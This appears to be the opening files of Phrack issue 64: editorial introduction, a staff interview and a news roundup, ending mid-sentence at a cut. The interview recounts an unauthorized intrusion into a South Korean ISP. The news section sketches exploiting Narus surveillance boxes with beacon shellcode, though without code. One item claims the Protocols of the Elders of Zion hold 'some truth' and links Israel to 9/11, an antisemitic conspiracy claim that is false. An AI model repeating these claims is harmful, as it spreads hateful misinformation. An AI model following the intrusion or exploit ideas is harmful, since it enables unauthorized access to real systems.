==Phrack Inc.== Volume 0x0c, Issue 0x40, Phile #0x01 of 0x11 |=-----------------------------------------------------------------------=| |=--------------------------=[ Introduction ]=---------------------------=| |=-----------------------------------------------------------------------=| |=-------------------=[ By The Circle of Lost Hackers ]=-----------------=| |=-----------------------------------------------------------------------=| "As long as there is technology, there will be hackers. As long as there are hackers, there will be PHRACK magazine. We look forward to the next 20 years" This is how the PHRACK63 Introduction was ending, telling everybody that the Staff would have changed and to expect a release sometimes in 2006/2007. This is that release. This is the new staff, "The Circle of Lost Hackers". Every new management requires a presentation and we decided to do it by Prophiling ourselves. Useless to say, we'll keep anonymous, mainly for security reasons that everyone understands. Being anonymous doesn't mean at all being closed. Phrack staff has always evolved, and will always evolve, depending on who really care about being a smart-ass. The staff will always receive new people that cares about writing cool articles, meet new authors and help them at publishing their work in the best conditions. Grantee of freedom of speech will be preserved. It is the identity of our journal. Some people were starting to say that phrack would have never reborn. That there would have never been a PHRACK64 issue. We heard that while we were working on, we smiled and kept going on. Some others were saying that the spirit was lost, that everything was lost. No, Phrack is not dead. Neither is the spirit in it. All the past Phrack editors have done a great work, making the Phrack Magazine "the most technical, most original, the most Hacker magazine in the world", written by the Underground for the Underground. We are in debt with them, every single hacker, cracker or researcher of the Underground should feel in debt with them. For the work they did. For the spirit they contributed to spread. For the possibility of having a real Hacker magazine. No, nothing is or was ever lost. Things change, security becomes a business, some hackers sell exploits, others post for fame, but Phrack is here, totally free, for the community. No business, no industry, no honey, baby. Only FREEDOM and KNOWLEDGE. We know the burden of responsibility that we have and that's why we worked hard to bring you this release. It wasn't an easy challenge at all, we have lost some people during those months and met new ones. We decided to make our first issue without a "real" CFP, but just limit it to the closest people we had in the underground. A big thank to everyone who participated. We needed to understand who really was involved and who was lacking time, spirit or motivation: having each one a lot of work to do (writing, reviewing, extending and coding) was the best way to succeed in that. This is not a "change of direction", next issues will have their official CFP and whatever article is (and has always been) welcome. We know that we have a lot to learn, we're improving from our mistakes and from the problems we've been facing. Aswell, we know that this release is not "the perfect one", but we think that the right spirit is there and so is the endeavor. The promise to make each new release a better one is a challenge that we want to win. No, Phrack is not dead. And will never die. Long live to PHRACK. - The Circle of Lost Hackers [-]=====================================================================[-] For this issue, we're bringing you the following : 0x01 Introduction The Circle of Lost Hackers 0x02 Phrack Prophile of the new editors The Circle of Lost Hackers 0x03 Phrack World News The Circle of Lost Hackers 0x04 A brief history of the Underground scene The Circle of Lost Hackers 0x05 Hijacking RDS TMC traffic information signal lcars danbia 0x06 Attacking the Core: Kernel Exploitation Notes twiz sgrakkyu 0x07 The revolution will be on YouTube gladio 0x08 Automated vulnerability auditing in machine code Tyler Durden 0x09 The use of set_head to defeat the wilderness g463 0x0a Cryptanalysis of DPA-128 sysk 0x0b Mac OS X Wars - A XNU Hope nemo 0x0c Hacking deeper in the system scythale 0x0d The art of exploitation: Autopsy of cvsxpl Ac1dB1tch3z 0x0e Know your enemy: Facing the cops Lance 0x0f Blind TCP/IP hijacking is still alive Lkm 0x10 Hacking your brain: The projection of consciousness keptune 0x11 International scenes Various Scene Shoutz: All the people who helped us during the writing of this issue especialy assad, js, mx-, krk, ceb, sysk. Thank you for your support to Phrack. The magazine deserve a good amount of work and it is not possible without a strong and devoted team of hackers, admins, and coders. Shouts to the dudes at phneutral : again we failed to come this year but we look forward to contributing to the meeting in the future. The circle of lost hackers is not a precise entity and people can join and quit it, but the main goal is always to give Phrack the release deserved by the underground hacking community. You can join us whenever you want to present a decent work to a wider range of peoples. We also need reviewers on all topics related to hardware hacking and body/mind experience. All the retards who pretend to be blackhat on irc and did a pityful attempt to leak Phrack on Full-Disclosure : Applause (Even the changes in the title were so subtle, a pity you did not put any rm -fr in the code, maybe you didnt know how to use uudecode ?) Enjoy the magazine! [-]=====================================================================[-] Nothing may be reproduced in whole or in part without the prior written permission from the editors. Phrack Magazine is made available to the public, as often as possible, free of charge. |=-----------=[ C O N T A C T P H R A C K M A G A Z I N E ]=---------=| Editors : circle[at]phrack{dot}org Submissions : circle[at]phrack{dot}org Commentary : loopback[@]phrack{dot}org Phrack World News : pwn[at]phrack{dot}org |=-----------------------------------------------------------------------=| Submissions may be encrypted with the following PGP key: (Hint: Always use the PGP key from the latest issue) -----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v1.4.5 (GNU/Linux) mQGiBEZSCpoRBAC0VU8+6+Sy9/8Csiz27VrdOIV9cxhaaGr2xTg/U8rrfzz4ybbZ hfFWJv+ttdu6C+JEATlGJKzn9mVJl35EieQcC8bNJ6SXz1oJHTDhFsGkG1A8Qi2k /yRPtljPceWWxgCxBfoc8BtvMLUbagSJ/PFzy+ibwCGfoMxYifbbkRyS8wCgmVUV gBmpzy4ls5qzegAqVP0CIyEEAK7b7UjnOqvEjsSqdgHy9fVOcxJhhIO/tP8sAvZR /juUPGcl6PtP/HPbgsyccPBZV6s0LYliu92y7sLZH8Yn9SWI87IZvJ3Jzo2KQIRC zlZ+PiSK9ITlTVd7EL0m8qXAlESBnjMA4of6+QckvuGnDTHPmHRsJEnseRr21XiH +CmcA/9blLrNhK4hMwMlULB/3NnuejDjkyTTcAAFQx2efT0cUK6Esd0NSlLS4vlL 3QWwnMTDsdc37sTBbhM1c6gwjD46lz2G4bJWXCZZAb6mGNHDkKL9VosW+CN3KtMa MOvFqVOKM0JnzHAHAzL2cyhUqUU9WYOHMv/ephWeFTooadcrqbQ/VGhlIENpcmNs ZSBvZiBMb3N0IEhhY2tlcnMgKHd3dy5waHJhY2sub3JnKSA8Y2lyY2xlQHBocmFj ay5vcmc+iGYEExECACYFAkZSCpoCGwMFCQPCZwAGCwkIBwMCBBUCCAMEFgIDAQIe AQIXgAAKCRCtZBmRMDi989eZAJ9X06v6ATXz1/kj+SG1GF5aRedM6QCgjkhZLVQP aNUYru8KVtzfxd0J6om5Ag0ERlIKrRAIAMgbTDk286rkgrJkCFQo9h8Pf1hSBOyT yU/BFd0PDKEk8+cMsMtPmS0DzBGv5PSa+OWLNPxCyAEXis5sKpoFVT5mEkFM8FCh Z2x7zzPbI+bzyGMTQ4kPaxoTf2Ng/4ZE1W+iCyyTsSwtjxQkx2M4IOzW5rygtw2z lqrbUN+ikKQ9c2+oleIxEdWiumeiw7FkypExWjo+7HCC2QnPtBVYzmw5Ed6xDS1L rXQ+rKj23L7/KL0WSegQ9zfrrVKISD83kiUgjyopXMBY2tPUdUFlpsImE8fNZ3Rm hYW0ibpOWUdu6K+DnAu5ZzgYhVAWkR5DQkVTGUY3+n/C2G/7CfMJhrMAAwYH/1Pw dlFmRQy6ZrxEWEGHpYaHkAjP1vi4VM82v9duYHf1n25OiJhjf9TDAHTfZBDnlBhz CgWCwi79ytMFOCIHy9IvfxG4jNZvVTX2ZhOfPNullefHop3Gsq7ktAxgKJJDZ4cT oVHzF4uCv7cCrn76BddGhYd7nru59yOGDPoV5f7xpNi1cxgoQsF20IpyY79cI8co jimET3B1F3KoxOtzV5u+vxs6+tdWP4ed5uGiYJNBC+h4yRl1CChDDDHjmXGNPJrr +2Y49Hs2b3GsbCyaDaBv3fMn96tzwcXzWxRV9q4/pxot/W7CRpimCM4gHsrw9mZa +Lo+GykjtzVMMdUeZWaITwQYEQIADwUCRlIKrQIbDAUJA8JnAAAKCRCtZBmRMDi9 80yQAJ9v7DcHj42YzpFRC7tPrGP72IB/pgCdHjt52h4ocdJpq5mKKwb6yONj5xM= =Nf2W -----END PGP PUBLIC KEY BLOCK----- phrack:~# head -22 /usr/include/std-disclaimer.h /* * All information in Phrack Magazine is, to the best of the ability of * the editors and contributors, truthful and accurate. When possible, * all facts are checked, all code is compiled. However, we are not * omniscient (hell, we don't even get paid). It is entirely possible * something contained within this publication is incorrect in some way. * If this is the case, please drop us some email so that we can correct * it in a future issue. * * * Also, keep in mind that Phrack Magazine accepts no responsibility for * the entirely stupid (or illegal) things people may do with the * information contained herein. Phrack is a compendium of knowledge, * wisdom, wit, and sass. We neither advocate, condone nor participate * in any sort of illicit behavior. But we will sit back and watch. * * * Lastly, it bears mentioning that the opinions that may be expressed in * the articles of Phrack Magazine are intellectual property of their * authors. * These opinions do not necessarily represent those of the Phrack Staff. */ -EOF- ==Phrack Inc.== Volume 0x0c, Issue 0x40, Phile #0x02 of 0x11 |=-----------------------------------------------------------------------=| |=--------------------------=[ Phrack Pro-Phile ]=-----------------------=| |=-----------------------------------------------------------------------=| |=-------------------=[ By The Circle of Lost Hackers ]=-----------------=| |=-----------------------------------------------------------------------=| Welcome to Phrack Pro-Phile. Phrack Pro-Phile is created to bring info to you, the users, about old and highly important controversial peoples. The first Phrack Pro-Phile was created in Phrack Issue 4 by Taran King. Since this date, a total of 43 profile were realized. Some well know hackers were profiled like Taran King, The Mentor, Knigh Lighting, Lex Luthor, Emmanuel Goldstein, Erik Bloodaxe, Control-C, Mudge, Aleph-One, Route, Voyager, Horizon or more recently Scut. This prophile is probably a little more different since it will introduce the new staff. Since the people composing The Circle of Lost Hackers want to stay anonymous, the Prophile will be more a "question-answer" prophile. -------------------------------------------------------------------------- Personal -------- Handle: The Circle of Lost Hackers Call them: call them what you want, just be careful Handle Origin: Dead Poets Society movie Date of Birth: from 1977 to 1984 Age at current date: haha Countries of origin: America, South-America and Europe ------------------------------------------------------------------- Favorite Things --------------- Women : Angelina Jolie because she was a great hacker in a movie Cars : Like everyone, the Dolorean. The only nice car in the world. Foods : Italian food is without a doubt the best food. Some other prefer Chinese or Japanese once they tasted Yakitori's. Alcohols : anything which make you drunk Drugs : sex Music : Drum and Bass, Sublime, Orbital, Red Hot Chili Peppers, DJ Shadow, The Chemical Brothers, The Mars Volta, more generally death metal, and gothic rock. Abstract electro bands like Boards of Canada. Movies : Blade Runner, The Usual Suspect, Fight Club, Kill Bill, hackers (private joke) Authors : Gurdjieff, Rufolf Steiner, Rupert Sheldrake, Plato, Stephan Hawkings, Roger Penrose, George Orwell, Noam Chomsky, Sun Tzu, Nicolas Tesla, Douglas Hofstadter, Ernesto Guevara, Daniel Pennac, Gabriele Romagnoli ---------------------------------------------------------------------------- Open Interview -------------- Q: Hello A: Saluto amigo! Q: Can you introduce yourselves in a few words? A: The Circle of Lost Hackers is a group of friends overall. Two years ago when TESO decided to stop Phrack, the voice of the underground decided not to let Phrack dying. People started to wonder .. Phrack is really dead ? In no way it is. Phrack reborns, always, from the influence of multiple hacking crews to make this possible. But at the beginning it was not easy to create a new team, a lot of people agreed to continue Phrack but not really to write or review articles. Also, one of the most important thing was to have people with the good spirit. Now we think that we have a good team and we hope bring to the Underground scene a lot of quality papers like in old issues of Phrack, but keeping the technical touch that makes Phrack a unique hacking magazine. The Phrack staff evolves and will always evoluate a new talents get interested in sharing for fun and free information. Q: How many people are composing The Circle of Lost Hackers? A: We could tell you, but we would have to kill you, after. The only important thing is that "The Circle of Lost Hackers" is not a restricted club. More people will join us, others may leave, depending on who really believes in comunication, hacking and freedom of research and information. Q: When did you start to play with computers and to learn hacking? A: Each one of us could answer differently. There's not a "perfect" age to start, neither it is ever too late to start. Hacking is researching. It is being so obstinated on resolving and understanding things to spend nights over a code, a vulnerability, an electronic device, an idea. Hacking is something you have inside, maybe you'll never take a computer or write a code, but if you've an "hacking mind" it will reveal itself, sooner or later. To give you an idea of the first computers of some members of the team, it was a 286, 486 SX or an Amiga 1000. Each of us started to play with computer at the end of 80' or beginning of 90'. The hacking life of our team started more or less around 97. Like with a lot of people, Phrack and 2600 mag were and are a great source of inspiration, as well as IRC and reading source code. Q: This interview is quite strange, you do the questions and the answers at the same time ?!?! A: What's the problem, in phrack issue 20 Taran King did a prophile of himself!!! Q: Can you tell us what is your most memorable experience? A: Each of us has a lot of memorable experiences but we don't really have a common experience where we hacked all together. So to make easy we are going to take three of our "memorable" experiences. 1. A subtle modification about p0f wich made me finding documents that I wasn't supposed to find. Some years ago, I had a period when each month I tried to focus on the security of one country. One of those countries was South-Korea where I owned a big ISP. After spending some time to figure out how I could leave the DMZ and enter in the LAN, I succeed thanks to a cisco modification (I like default passwords). Once in the LAN and after hiding my activity (userland > kernelland), I installed a slightly modification of p0f. The purpose if this version was to scan automatically all the windows box found on the network, mount shared folders and list all files in these folders. Nothing fantastic. But one of the computers scanned contained a lot of files about the other Korea... North Korea. And trust me, there were files that I wasn't supposed to find. I couldn't believe it. I could do the evil guy and try to sell these files for money, but I had (and I still have) a hacker ethic. So I simply added a text file on the desktop to warn the user of the "flaw". After that I left the network and I didn't come back. It was more than 5 years ago so don't ask me the name of the ISP I can't remember. 2. Learning hacking by practice with some of the best hackers world-wide. Sometimes you think you know something but its almost always possible to find someone who prove you the opposite. Wether we talk about hacking a very big network with many thousands of accounts and know exactly how to handle this in minuts in the stealthiest manner, or about auditing source code and find vulnerability in a daemon server or Operating System used by millions of peoples on the planet, there is always someone to find that outsmart you, when you thought being one of the best in what you are doing. I do not want to enter in detail to avoid compromising anyone's integrity, but the best experience are those made of small groups (3, 4 ..) of hackers, working on something in common (hacking, exploits, coding, audits ..), for example in a screen session. Learning by seing the others do. Teaching younger hackers. Sharing knowledge in a very restricted personal area. Partying in private with hackers from all around the world and getting 0day found, coded, and used in a single hacking session. Q: Is one of you has been busted in a previous life? A: Hope no but who knows? Q: What do you think about the current scene? A: We think a lot of things, probably the best answer is to read the article "A brief history of the Underground" in this issue where we are talking about the scene and the Underground. Q: What's your opinion about old phracks? A: Great. Old phracks were the first source of information when we were starving for more to learn. _The_ point of reference. But don't stop yourselves to the last 10 issues, all issues are still interesting. Q: And about PHC? A: Well, thats an interesting question. To be honest, PHC did not just do those bad things we were used to learn from the web or irc, we like some of them and even know very well a few others. Also, the two attempted issues 62 and 63 of PHC had an incontestable renew in the spirit and there were even some useful information on honeypots and protecting exploits. However, we have a problem with unjustified arrogance. If it's true the security world has a problem with white/black hats, we think that the good way to resolve the problem is not to fight everyone, especially such a poor demonstrative way. It's not our conception of hacking. Take the first 20 issues of Phrack and try to find unjustified arrogant word/sentence/paragraph: you won't find any. The essence of hacking is different : it's learning. Hacking to learn. You can be a blackhat and working in the IT industry, it's not incompatible. We have nothing against PHC and we think the Underground needs a group like PHC. But the Underground needs a magazine like Phrack as well. The main battle of PHC is fighting whitehats but it's not Phrack's battle. It's never been the purpose of Phrack. If we have to fight against something, it's against the society and not targeting whitehats personally (that doesn't mean that we support whitehat...). Phrack is about fighting the society by releasing information about technologies that we are not supposed to learn. And these technologies are not only Unix-related and/or software vulnerabilities. We agree with them when they say that recent issues of Phrack helped probably too much the security industry and that there was a lack of spirit. We're doing our best to change it. But we still need technical articles. If they want to change something in the Underground, they are welcome to contribute to Phrack. Like everyone in the Underground community. Q: Full-disclosure or non-disclosure? A: Semi-disclosure. For us, obviously. Free exchange of techniques, ideas and codes, but not ready-to-use exploit, neither ready-to-patch vulnerabilities. Keep your bugs for yourself and for your friend, do the best to not make them leak. If you're cool enough, you'll find many and you'll be able to patch your boxes. Disclosing techniques, ideas and codes implementations helps the other Hackers in their work, disclosing bugs or releasing "0-day" exploits helps only the Security Industry and the script kiddies. And we don't want that. You might be an Admin, you might be thinking : "oh, but my box is not safe if i don't know about vulnerabilities". That's true, but remember that if only very skilled hackers have a bug you won't have to face a "rm -rf" of the box or a web defacement. That's kiddies game, not Hackers one. But that's our opinion. You might have a totally different one and we will respect it. You might even want to release a totally unknown bug on Phrack's pages and, if you write a good article, we'll help you in publishing it. Maybe discussing the idea, before. As we said in the introduction, the first thing we want to garantee is freedom of speech. That's the identity of our journal. Q: What's the best advice that you can give to new generation of hackers? A: First of all, enjoy hacking. Don't do that for fame or to earn more money, neither to impress girl (hint: not always works ;)) or only to be published somewhere. Hack for yourself, hack for your interest, hack to learn. Second, be careful. In every thing you do, in any relationship you'll have. Respect people and try to not distrupt their work only because you're distracted or angry. Third, have fun. Have a lot of fun. And never, never, never setup an honeypot (hi Lance!). Q: What do you think about starting an Underground World Revolution Movement against the establishment ? A: Do it. But do it Underground. The nowadays world is too obsessed by "visibility". Act, let the others talk. Q: What's the future of hacking ? A: The future is similar to the present and to the past. "Hacking" is the resulting mix of curiosity and research for information, fun and freedom. Things change, security evolves and so does technology, but the "hacker-mind" is always the same. There will always be hackers, that is skilled people who wants to understand how things really go. To be more concrete, we think that the near future will see way more interest in hardware and embedded systems hacking : hardware chip modification to circumvent hardware based restrictions, mobile and mobile services exploits/attacks, etc. Moreover, seems like more people is hacking for money (or, at least, that's more "publicly" known), selling exploits or backdoors. Money is usually the source of many evils. It is indeed a good motivating factor (moreover hacking requires time and having that time payed when you don't have any other work is really helpful), but money brings with itself the business mind. People who pays hackers aren't interested in research, they are interested in business. They don't want to pay for months of research that lead to a complex and eleet tecnique, they want a simple php bug to break into other companies website and change the homepage. They want visible impact, not evolved culture. We're not for the "hacking-business" idea, you probably realized that. We're not for exploit disclosure too, unless the bug is already known since time and showing the exploit code would let better understand the coding techniques involved. And we don't want that someone with a lot of money (read : governement and big companies) will be one day able to "pay" (and thus "buy") all the hackers around. But we're sure that that will never happen, thanks to the underground, thanks to people like you who read phrack, learn, create and hack independently. Q: Do you have some people or groups to mention ? A: (mentioning some people and say what do u thing about them, phc, etc) There are groups and people who have made (or are making) the effective evolving of the scene. We try to tell a bit of their story in "International Scenes" phile (starting from that issue with : Quebec, Brazil and France). Each country has its story, Italy has s0ftpj and antifork, Germany has TESO, THC and Phenolit (thanks for your great ph-neutral party), Russia, France, Netherlands, or Belgium have ADM, Synnergy, or Devhell, USA and other countries have PHC... Each one will have his space on "International Scenes". If you're part of it, if you want to tell the "real story", just submit us a text. If you are too paranoid to submit a tfile to Phrack, its ok. If you wish to participate to the underground information, how journal is your journal as well and we can find a solution that keep you anonymous. Q: Thank you for this interview, I hope readers will enjoy it! A; No problem, you're welcome. Can I have a beer now? --EOF-- ==Phrack Inc.== Volume 0x0c, Issue 0x40, Phile #0x03 of 0x11 |=-----------------------------------------------------------------------=| |=-------------------------=[ Phrack World News ]=-----------------------=| |=-----------------------------------------------------------------------=| |=-------------------=[ By The Circle of Lost Hackers ]=-----------------=| |=-----------------------------------------------------------------------=| The Circle of Lost Hackers is looking for any kind of news related to security, hacking, conference report, philosophy, psychology, surrealism, new technologies, space war, spying systems, information warfare, secret societies, ... anything interesting! It could be a simple news with just an URL, a short text or a long text. Feel free to send us your news. Again, we need your help for this section. We can't know everything, we try to do our best, but we need you ... the scene needs you...the humanity needs you...even your girlfriend needs you but should already know this... :-) 1. Speedy Gonzales news 2. One more outrage to the freedom of expression 3. How we could defeat the Orwellian Narus system 4. Feeling safer in a spying world 5. D-Wave computing demonstrates a quantum computer -------------------------------------------- --[ 1. _____ _ / ___| | | \ `--. _ __ ___ ___ __| |_ _ `--. \ '_ \ / _ \/ _ \/ _` | | | | /\__/ / |_) | __/ __/ (_| | |_| | \____/| .__/ \___|\___|\__,_|\__, | | | __/ | |_| |___/ _____ _ | __ \ | | | | \/ ___ _ __ ______ _| | ___ ___ | | __ / _ \| '_ \|_ / _` | |/ _ \/ __| | |_\ \ (_) | | | |/ / (_| | | __/\__ \ \____/\___/|_| |_/___\__,_|_|\___||___/ _ _ | \ | | | \| | _____ _____ | . ` |/ _ \ \ /\ / / __| | |\ | __/\ V V /\__ \ \_| \_/\___| \_/\_/ |___/ -Speedy News-[ There is no age to start hacking ]-- http://www.dailyecho.co.uk/news/latest/display.var. 1280820.0.how_girl_6_hacked_into_mps_commons_computer.php -Speedy News-[ Eeye hacked ? ]-- http://www.phrack.org/eeye_hacked.png -Speedy News-[ Anarchist Cookbook ]-- The anarchist cookbook version 2006, be careful... http://www.beyondweird.com/cookbook.html -Speedy News-[ Is Hezbollah better than Israeli militants? ]-- http://www.fcw.com/article96532-10-19-06-Web -Speedy News-[ How to be secure like an 31337 DoD dude ]-- https://addons.mozilla.org/en-US/firefox/addon/3182 -Speedy News-[ Hi I'm Skyper, ex-Phrack and I like Phrack's design! ]-- http://conf.vnsecurity.net/cfp2007.txt -Speedy News-[ The most obscure company in the world ]-- http://www.vanityfair.com/politics/features/2007/03/spyagency200703? printable=true¤tPage=all A "MUST READ" article... -Speedy News-[ Terrorism excuse Vs freedom of information ]-- http://www.usatoday.com/news/washington/2007-03-13-archives_N.htm -Speedy News-[ Zero Day can happen to anyone ]-- http://www.youtube.com/watch?v=L74o9RQbkUA -Speedy News-[ NSA, contractors and the success of failure ]-- http://www.govexec.com/dailyfed/0407/040407mm.htm -Speedy News-[Blood, Bullets, Bombs, and Bandwidth ]-- http://rezendi.com/travels/bbbb.html -Speedy News-[ The day when the BCC predicted the future ]-- http://www.prisonplanet.com/articles/february2007/260207building7.htm -Spirit News-[ Just because we like these websites ]-- http://www.cryptome.org/ http://www.2600.com/ --[ 2. One more outrage to the freedom of expression by Napoleon Bonaparte The distribution of a book containing a copy of the Protocols of the Elders of Zion was stopped in Belgium and France by Israeli lobbyists. The authors advance that the bombing of the WTC could be in relation with Israel. It's not the good place to argue about this statement, but what is interesting is that 6 years after 11/09/01 we read probably more than 100 theories about the possible authors of WTC bombing: Al Qaeda, Saoudi Arabia, Irak (!) or even Americans themselves. But this book advances the theory that _maybe_ there is something with Israel and the diffusion is forbidden, just one month after its release. Before releasing this book, the Belgian association antisemitisme.be read it to give his opinion. The result is apparent: the book is not antisemitic. The only two things that could be antisemitic in this book are: - the diffusion of "The Protocols of the Elders of Zion" in the annexe of the book. If you take a look on Amazon, you can find more than 30 books containing The Protocols. - the cover of the book which show the US and Israeli flags linked with a bundle of dollars. Actually you can find the same kind of picture on the website of the Americo-Israeli company Zionoil: http://www.zionoil.com/ . And the cover of the book was designed before the author found the same picture on Zionoil's website. Also, something unsettling in this story is that the book was removed on the insistence of a Belgian politician: Claude Marinower. And on the website of this politician, we can see him with Moshe Katsav who is the president of Israel and recently accused by Attorney General Meni Mazuz for having committed rape and other crimes... http://www.claudemarinower.be/uploads/ICJP-israelpresi.JPG So why the distribution of this book was banned? Because the diffusion of "The Protocols of the Elders of Zion" is dangerous? Maybe but... You can find on Internet or amazon some books like "The Anarchist Cookbook" which is really more "dangerous" than the "The Protocols of the Elders of Zion". In this book you can find some information like how to kill someone or how to make a bomb. If we have to give to our children either "The Anarchist Cookbook" or "The Protocols of the Elders of Zion", I'm sure that 100% of the population will prefer to give "The Protocols of the Elders of Zion". Simply because it's not dangerous. So why? Probably because there are some truth in this book. The revelations in this book are not only about 11/09/2001 but also about the Brabant massacres in Belgium from 1982 to 1985. The authors advances that these massacres were linked to the GLADIO/stay-behind network. As Napoleon Bonaparte said: "History is a set of lies agreed upon". He was right... [1] http://www.antisemitisme.be/site/event_detail.asp?language=FR&eventId =473&catId=26 [2] http://www.ejpress.org/article/14608 [3] http://www.wiesenthal.com/site/apps/nl/content2.asp?c=fwLYKnN8LzH&b =245494&ct=2439597 [4] http://www.osservatorioantisemitismo.it/scheda_evento.asp?number=1067& idmacro=2&n_macro=3&idtipo=59 [5] http://ro.novopress.info/?p=2278 [6] http://www.biblebelievers.org.au/przion1.htm --[ 3. How we could defeat the Orwellian Narus system by Napoleon Bonaparte AT&T, Verizon, VeriSign, Amdocs, Cisco, BellSouth, Top Layer Networks, Narus, ... all theses companies are inter-connected in our wonderful Orwellian world. And I don't even talk about companies like Raytheon or others involved in "ECHELON". That's not new, our governments spy us. They eavesdrop our phones conversation, our Internet communications, they take beautiful photos of us with their imagery satellites, they can even see through walls using satellites reconnaissance (Lacrosse/Onyx?), they install cameras everywhere in our cities (how many cameras in London???), RFID tags are more and more present and with upcoming technologies like nanotechnologies, bio-informatics or smartdusts system there is really something to worry about. With all these systems already installed, it's utopian to think that we could come back to a world without any spying system. So what we can do ? Probably not a lot of things. But I would like to propose a funny idea about NARUS, the system allowing governments to eavesdrop citizens Internet communications. This short article is not an introduction to Narus. I will just give you a short description of its capacities. A more longer article could be written in a next release of Phrack (any volunteer?). So Narus is an American company founded in 97. The first work of NARUS was to analyze IP network traffic for billing purpose. In order to accomplish this they have strongly contributed to the standardization of the IPDR Streaming Protocol by releasing an API Code [1] (study this doc, it's a key to break NARUS). Nowadays, Narus is also included in what I will call the "spying business". According to their authors, they can collect data from links, routers, soft switches, IDS/IPS, databases, ..., normalize, correlate, aggregate and analyze all these data to provide a comprehensive and detailed model of users, elements, protocols, applications and networks behaviors. And the most important: everything is done in real time. So all your e-mails, instant messages, video streams, P2P traffic, HTTP traffic or VOIP can be monitored. And they doesn't care about which transmission technology you use, optical transmission can also be monitored. This system is simply amazing and we should send our congratulations to their designers. But we should also send our fears... If we want to block Narus, there is an obvious way: using cryptography. Nowadays, it's quite easy to send an encrypted email. You don't even have to worry about your email client, everything it's transparent (once configured). The problem is that you need to give your public key to your interlocutor, which is not really "user friendly". Especially if the purpose is simply to send an email to your girlfriend. But it's still the best solution to block a system like Narus. Another way to block Narus is to use steganography, but it's more complicate to implement. In conclusion, there is no way to stop totally a system like Narus and the only good way to block it is to use cryptography. But we, hackers, we can do something against Narus. Something funny. The idea is the following: we should know where a Narus system is installed! First step. An organization, a country or simply someone should buy a Narus system and reverse it. There are a lot of tools to reverse a system, free or commercial. Since the purpose of Narus is to analyze data, the main task is parsing data. And we know that systems parsing data are the most sensitive to bugs. So a first idea could be to fuzzing it with random requests and if it doesn't work doing some reversing. Once a bug is detected (and for sure, there IS at least one bug), the next step is to exploit it. Difficult task but not impossible. The most interesting part is the next one: the shellcode. There are two possibilities, either the system where Narus is installed has an outgoing Internet connexion or there isn't an outgoing Internet connexion. If not, the shellcode will be quite limited, the "best" idea is maybe just to destroy the system but it's not useful. What is useful is when Narus is installed on a system with an outgoing Internet connexion. We don't want a shell or something like that on the system, what we want is to know where a Narus system is installed. So what our shellcode has to do is just to send a ping or a special packet to a server on Internet to say "hello a Narus is installed at this place". We could hold a database with all the Narus system we discover in the world. This idea is probably not very difficult to implement. The only bad thing is if we release the vulnerability, it won't take a long time to Narus to patch it. But after all, what else can we do? Again, as Napoleon said: "Victory belongs to the most persevering". And hackers are... [1] http://www.ipdr.org/public/DocumentMap/SP2.2.pdf --[ 4. Feeling safer in a spying world by Julius Caesar At first, it's subtle. It just sneaks up on you. The only ones who notice are the paranoid tinfoil hat nutjobs -- the ones screaming about conspiracies and big brother. They take a coincidence here and a fact from over there and come up with 42. It's all about 42. We need cameras at ATM machines, to catch robbers and muggers. Sometimes they even catch a shot of the Ryder truck driving by in the background. People get mugged in elevators, so we need some cameras there too. Traffic can be backed up for a while before the authorities notice, so let's have some cameras on the highway. Resolution gets better, and we can catch more child molestors and terrorists if they can record license plates and faces. Cameras at intersections catch people running red lights and speeding. We're getting safer every day. Some neighborhoods need cameras to catch the hoods shooting each other. Others need cameras to keep the sidewalks safe for shoppers. It's all about safety. Then one day, the former head of the KGIA is in charge, or arranges for his dimwitted son to fuck up yet again as president of something. Soon, we're at war. Not with anyone in particular. Just Them. You're either with us, or you're with Them, and we're gonna to git Them. Our phone calls need to me monitored, to make sure we're not one of Them. Our web browsing and shopping and banking and reading and writing and travel and credit all need to be monitored, so we can catch Them. We'll need to be seached when travelling or visiting a government building because we might have pointy metal things or guns on us. We don't want to be like Them. It's important to be safe, but how can we tell if we're safe or not? What if we wonder into a place with no cameras? How would we know? What if our web browsing isn't being monitored? How can we make sure we're safe? Fortunately, there are ways. Cameras see through a lens, and lenses have specific shapes with unique characteristics. If we're in the viewing area of a camera, then we are perpendicular to a part of the surface of the lens, which usually has reflective properties. This allows us to know when we're safely in view of a camera. All it takes is a few organic LEDs and a power supply (like a 9V battery). Arrange the LEDs in a circle about 35mm in diameter, and wire them appropriately for the power supply. Cut a hole in the center of the circle formed by the LEDs. Now look through the hole as you pan around the room. When you're pointing at a lens, the portion of the curved surface of the lens which is perpendicular to you will reflect the light of the LEDs directly back at you. You'll notice a small bright white pinpoint. Blink the LEDs on and off to make sure it's reflecting your LEDs, and know that you are now safer. Worried that your Internet connection may not be properly monitored for activity that would identify you as one of Them? There are ways to confirm this too. Older equipment, such as carnivore or DCS1000 could often be detected by traceroute, which would show up as odd hops on your route to the net. As recently as 2006, AT&T's efforts to keep us safe showed up with traceroute. But the forces of Them have prevailed, and our protectors were forced to stop watching our net traffic. Almost. We can no longer feel safe when seeing that odd hop, because it doesn't show up on traceroute anymore. It will, however, show up with ping -R, which requests every machine to add its IP to the ping packet as it travels the network. First, do a traceroute to find out where your ISP connects to the rest of the net; [snip] 5 68.87.129.137 (68.87.129.137) 28.902 ms 14.221 ms 13.883 ms 6 COMCAST-IP.car1.Washington1.Level3.net (63.210.62.58) 19.833 ms * 21.768 ms 7 te-7-2.car1.Washington1.Level3.net (63.210.62.49) 19.781 ms 19.092 ms 17.356 ms Hop #5 is on comcast's network. Hop #6 is their transit provider. We want to send a ping -R to the transit provider (63.210.62.58); [root@phrack root]# ping -R 63.210.62.58 PING 63.210.62.58 (63.210.62.58) from XXX.XXX.XXX.XXX : 56(124) bytes of data. 64 bytes from 63.210.62.58: icmp_seq=0 ttl=243 time=31.235 msec NOP RR: [snip] 68.87.129.138 68.86.90.90 4.68.121.50 4.68.127.153 12.123.8.117 117.8.123.12.in-addr.arpa. domain name pointer sar1-a360s3.wswdc.ip.att.net. An AT&T hop on Level3's network? Wow, we are still safely under the watchful eye of our magnificent benevolent intelligence agencies. I feel safer already. --[ 5. D-Wave demonstrates a quantum computer by aris February the 13'th, 2007, Wave computing made a public demonstration of their brand-new quantum computer, which could be a revolution in computing and in cryptography in general. The demonstration took place at Mountain View, Silicon Valley, though the quantum computer itself was left at Vancouver, remotely connected by Internet. The Quantum computer is a hybrid construction of classical computing and a quantum "accelerator" chip: The classical computer makes the ordinary operations, isolates the complicate stuff, prepare it to be processed by the quantum chip then gives back the results. The whole mechanism is meant to be usable over networks (with RPC) to be accessible for companies that want a quantum computer but can't manage to handle it at their main office (The hardware has special requirements). [1] The quantum chip is a 16 